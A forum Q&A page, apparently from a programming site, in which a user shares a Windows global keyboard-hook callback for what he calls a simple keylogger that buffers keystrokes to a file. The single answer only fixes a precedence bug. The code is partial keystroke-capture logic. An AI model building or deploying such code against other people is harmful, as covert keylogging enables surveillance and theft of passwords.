Ashish Kumar Shah
Ashish Kumar Shah

Reputation: 532

Global Keyboard hook call back function

I am trying to write a simple keylogger program by using global keyboard hooks. I need somehelp in implementing the keyboard hook callback function. My function as of now works but cannot handle the case when a key is pressed and not released.

LRESULT CALLBACK KeyboardProc( int code,WPARAM wParam,LPARAM lParam ){
    DWORD keyStroke=wParam;
    if(code>=0 && lParam&0x40000000){
        buff[charCount++]=(WCHAR)keyStroke;
        buff[charCount]=L'\0';
        if(charCount==1024 && charCount>0){
            writeCacheToFile(buff,1025);
            charCount=0;
        }
    }
    return CallNextHookEx(NULL,code,wParam,lParam);
}

Here i am trying to store the characters in a buff and then i write them to a file using writeCacheToFile.

Can someone please give me some sample code in which keypress event is handled?

Any help will be appreciated.

Thanks, Ashish.

Upvotes: 0

Views: 787

Answers (1)

user82238
user82238

Reputation:

I've not looked in details, but there is a precedence issue here;

if(code>=0 && lParam&0x40000000)

You need;

if( code >= 0 && (lParam & 0x40000000) )

Also, this is odd;

if( charCount == 1024 && charCount > 0 )

If charCount is 1024, then it is always greater than 0.

Upvotes: 1

Related Questions